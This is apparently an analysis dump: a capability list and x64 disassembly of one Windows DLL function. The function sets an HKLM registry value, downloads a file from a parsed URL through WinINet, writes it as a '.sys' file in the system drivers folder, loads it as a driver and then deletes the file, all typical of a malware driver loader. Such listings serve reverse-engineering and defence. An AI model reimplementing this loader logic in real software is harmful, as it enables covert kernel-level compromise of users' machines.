Function at 0x180049fd0
Capabilities:
Create http request
Delete file
Download and write a file
Get common file path
Get file size
Get http content length
Read data from internet
Receive and write data from server to client
Receive data
Set registry value
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x178]
sub rsp, 0x250
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x18009e040]
xor rax, rsp
mov qword [rbp + 0x120], rax
mov rdi, rcx
xor r13d, r13d
call fcn.180046640
mov qword [rbp - 0x40], r13
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x70], 0x2244b8
lea rax, [rbp - 0x40]
mov qword [rbp - 0x50], rax
mov dword [rsp + 0x28], 0x28
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
xor edx, edx
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp qword [rbp - 0x40], 1
jne 0x18004a071
mov al, 1
jmp 0x18004aad0
lea rcx, [rbp - 0x70]
call fcn.180041dd0
mov rbx, rax
lea r14, [0x18009ec38]
cmp r14, rax
je 0x18004a107
mov rdx, qword [0x18009ec50]
cmp rdx, 0x10
jb 0x18004a0ca
mov rcx, qword [0x18009ec38]
inc rdx
cmp rdx, 0x1000
jb 0x18004a0c5
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18004ab10
mov rcx, r8
call fcn.180057360
mov qword [0x18009ec48], r13
mov qword [0x18009ec50], 0xf
mov byte [0x18009ec38], r13b
movups xmm0, xmmword [rbx]
movups xmmword [0x18009ec38], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x18009ec48], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], recv
mov byte [rbx], r13b
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x18004a142
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004a13d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004ab10
call fcn.180057360
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x10]
call fcn.180079d00
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x25
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], r13
movups xmmword [rbp - 0x70], xmm0
test eax, eax
je 0x18004a18e
xor r8d, r8d
lea rdx, [0x180087af0]
jmp 0x18004a1ad
lea rax, [rbp + 0x10]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x18004a1a0
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x70]
call fcn.18004c110
nop
mov rcx, qword [rbp - 0x60]
mov rdx, qword [rbp - 0x58]
mov rax, rdx
sub rax, rcx
cmp rax, 9
jb 0x18004a202
lea rax, [rcx + 9]
mov qword [rbp - 0x60], rax
lea rbx, [rbp - 0x70]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x70]
add rbx, rcx
mov r8d, 9
lea rdx, str.drivers_
mov rcx, rbx
call fcn.18007a0c0
mov byte [rbx + 9], 0
lea rax, [rbp - 0x70]
jmp 0x18004a220
mov qword [rsp + 0x20], 9
lea r9, str.drivers_
mov edx, 9
lea rcx, [rbp - 0x70]
call fcn.18004bf80
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov rsi, qword [0x18009ec48]
cmp qword [0x18009ec50], 0x10
cmovae r14, qword [0x18009ec38]
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rbp - 0x80]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x18004a2b0
lea rax, [rcx + rsi]
mov qword [rsp + 0x78], rax
lea rbx, [rsp + 0x68]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x68]
add rbx, rcx
mov r8, rsi
mov rdx, r14
mov rcx, rbx
call fcn.18007a0c0
mov byte [rbx + rsi], 0
lea rax, [rsp + 0x68]
jmp 0x18004a2c5
mov qword [rsp + 0x20], rsi
mov r9, r14
mov rdx, rsi
lea rcx, [rsp + 0x68]
call fcn.18004bf80
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
mov rax, r8
sub rax, rdx
lea rcx, [rsp + 0x48]
cmp rax, 4
jb 0x18004a33a
lea rax, [rdx + 4]
mov qword [rsp + 0x58], rax
cmp r8, 0x10
cmovae rcx, qword [rsp + 0x48]
mov eax, dword [str..sys]
mov dword [rcx + rdx], eax
mov byte [rcx + rdx + 4], 0
lea rax, [rsp + 0x48]
jmp 0x18004a354
mov qword [rsp + 0x20], 4
lea r9, str..sys
mov edx, 4
call fcn.18004bf80
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov rdx, qword [0x18009ec90]
cmp rdx, 0x10
jb 0x18004a3ab
mov rcx, qword [0x18009ec78]
inc rdx
cmp rdx, 0x1000
jb 0x18004a3a6
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18004ab1c
mov rcx, r8
call fcn.180057360
movups xmmword [0x18009ec78], xmm6
movups xmmword [0x18009ec88], xmm7
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x18004a3f6
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004a3f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004ab16
call fcn.180057360
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], socket
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x18004a445
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004a440
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004ab22
call fcn.180057360
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], recv
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x18004a492
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004a48d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004ab28
call fcn.180057360
lea rax, [rbp - 0x70]
mov qword [rbp - 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], r13
mov r8d, 3
lea rdx, [0x180087f34]
lea rcx, [rbp - 0x70]
call fcn.18004c110
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], r13
mov r8d, 3
lea rdx, [0x180087f38]
lea rcx, [rsp + 0x68]
call fcn.18004c110
nop
lea r9, [rbp - 0x70]
lea r8, [rsp + 0x68]
lea rcx, [rbp - 0x10]
call fcn.180045560
nop
cmp qword [rbp], 0
jne 0x18004a575
test rdi, rdi
je 0x18004a56e
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x1d
jb 0x18004a551
lea rax, [rcx + 0x1d]
mov qword [rdi + 0x10], rax
cmp rdx, 0x10
jb 0x18004a52d
mov rdi, qword [rdi]
lea rbx, [rdi + rcx]
mov r8d, 0x1d
lea rdx, str.___Error:Parse_Link_Failed__n
mov rcx, rbx
call fcn.18007a0c0
mov byte [rbx + 0x1d], 0
xor bl, bl
jmp 0x18004aa96
mov qword [rsp + 0x20], 0x1d
lea r9, str.___Error:Parse_Link_Failed__n
mov edx, 0x1d
mov rcx, rdi
call fcn.18004bf80
xor bl, bl
jmp 0x18004aa96
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x48]
call fcn.180041900
nop
cmp qword [rax + 0x18], 8
jb 0x18004a58e
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.180044410
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x18004a5dd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004a5d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004ab2e
call fcn.180057360
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], 7
mov word [rsp + 0x48], r13w
cmp qword [rbp - 0x20], 0
jne 0x18004a662
test rdi, rdi
je 0x18004aa43
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x21
jb 0x18004a648
lea rax, [rcx + 0x21]
mov qword [rdi + 0x10], rax
cmp rdx, 0x10
jb 0x18004a626
mov rdi, qword [rdi]
lea rbx, [rdi + rcx]
mov r8d, 0x21
lea rdx, str.___Error:Parse_Download_Failed__n
mov rcx, rbx
call fcn.18007a0c0
mov byte [rbx + 0x21], 0
jmp 0x18004aa43
mov qword [rsp + 0x20], 0x21
lea r9, str.___Error:Parse_Download_Failed__n
mov edx, 0x21
jmp 0x18004aa3b
mov r14d, r13d
mov dword [rsp + 0x40], r13d
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x70]
call fcn.180041aa0
mov rbx, rax
cmp qword [rax + 0x18], 0x10
jb 0x18004a684
mov rbx, qword [rax]
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.HTTPREAD
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r12, rax
test rax, rax
jne 0x18004a6ae
mov rbx, r13
jmp 0x18004a7e2
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], 0x80000002
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r15, rax
test rax, rax
jne 0x18004a6e6
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rbx, r13
jmp 0x18004a7e2
mov dword [rbp - 0x48], r13d
mov dword [rbp - 0x38], 4
mov qword [rsp + 0x20], r13
lea r9, [rbp - 0x38]
lea r8, [rbp - 0x48]
mov edx, 0x20000005
mov rcx, r15
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x18004a72a
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rbx, r13
jmp 0x18004a7e2
mov r14d, dword [rbp - 0x48]
mov dword [rsp + 0x40], r14d
mov ecx, 0x1000
call fcn.1800418b0
mov r13, rax
xor ebx, ebx
xor esi, esi
lea r9, [rbp - 0x78]
mov r8d, 0x1000
mov rdx, rax
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x18004a7c5
nop
mov ecx, dword [rbp - 0x78]
test ecx, ecx
je 0x18004a7c0
add rcx, rsi
call fcn.1800418b0
mov r14, rax
test rbx, rbx
je 0x18004a78d
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.18007a0c0
mov rcx, rbx
call fcn.180057360
mov r8d, dword [rbp - 0x78]
lea rcx, [r14 + rsi]
mov rdx, r13
call fcn.18007a0c0
mov rbx, r14
mov eax, dword [rbp - 0x78]
add rsi, rax
lea r9, [rbp - 0x78]
mov r8d, 0x1000
mov rdx, r13
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x18004a760
mov r14d, dword [rsp + 0x40]
mov rcx, r13
call fcn.180057360
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r13d, r13d
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x18004a81d
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004a818
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004ab34
call fcn.180057360
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], recv
mov byte [rbp - 0x70], 0
test r14d, r14d
jne 0x18004a89c
test rdi, rdi
je 0x18004aa43
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x22
jb 0x18004a882
lea rax, [rcx + 0x22]
mov qword [rdi + 0x10], rax
cmp rdx, 0x10
jb 0x18004a860
mov rdi, qword [rdi]
lea rbx, [rdi + rcx]
mov r8d, 0x22
lea rdx, str.___Error:Driver_Download_Failed__n
mov rcx, rbx
call fcn.18007a0c0
mov byte [rbx + 0x22], 0
jmp 0x18004aa43
mov qword [rsp + 0x20], 0x22
lea r9, str.___Error:Driver_Download_Failed__n
mov edx, 0x22
jmp 0x18004aa3b
lea r14, [0x18009ec78]
mov rcx, r14
cmp qword [0x18009ec90], 0x10
cmovae rcx, qword [0x18009ec78]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x18004a9dd
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
je 0x18004a9d4
mov qword [rsp + 0x20], r13
lea r9, [rbp - 0x40]
mov r8d, dword [rsp + 0x40]
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18004a9d4
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.180046930
test al, al
jne 0x18004a99b
test rdi, rdi
je 0x18004aa43
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x1e
jb 0x18004a981
lea rax, [rcx + 0x1e]
mov qword [rdi + 0x10], rax
cmp rdx, 0x10
jb 0x18004a95f
mov rdi, qword [rdi]
lea rbx, [rdi + rcx]
mov r8d, 0x1e
lea rdx, str.___Error:Driver_Load_Failed__n
mov rcx, rbx
call fcn.18007a0c0
mov byte [rbx + 0x1e], 0
jmp 0x18004aa43
mov qword [rsp + 0x20], 0x1e
lea r9, str.___Error:Driver_Load_Failed__n
mov edx, 0x1e
jmp 0x18004aa3b
mov rcx, r14
cmp qword [0x18009ec90], 0x10
cmovae rcx, qword [0x18009ec78]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x18004a9d0
cmp qword [0x18009ec90], 0x10
cmovae r14, qword [0x18009ec78]
mov rcx, r14
call fcn.180042140
mov bl, 1
jmp 0x18004aa45
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
je 0x18004aa43
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x1d
jb 0x18004aa26
lea rax, [rcx + 0x1d]
mov qword [rdi + 0x10], rax
cmp rdx, 0x10
jb 0x18004aa07
mov rdi, qword [rdi]
lea rbx, [rdi + rcx]
mov r8d, 0x1d
lea rdx, str.___Error:Write_File_Failed__n
mov rcx, rbx
call fcn.18007a0c0
mov byte [rbx + 0x1d], 0
jmp 0x18004aa43
mov qword [rsp + 0x20], 0x1d
lea r9, str.___Error:Write_File_Failed__n
mov edx, 0x1d
mov rcx, rdi
call fcn.18004bf80
xor bl, bl
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x18004aa85
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004aa80
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004ab3a
call fcn.180057360
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], r13w
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x18004aacd
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004aac8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004ab0a
call fcn.180057360
movzx eax, bl
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.180056f00
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.18005daac
int3
call fcn.18005daac
nop
call fcn.18005daac
nop
call fcn.18005daac
nop
call fcn.18005daac
nop
call fcn.18005daac
nop
call fcn.18005daac
int3
call fcn.18005daac
nop
call fcn.18005daac
int3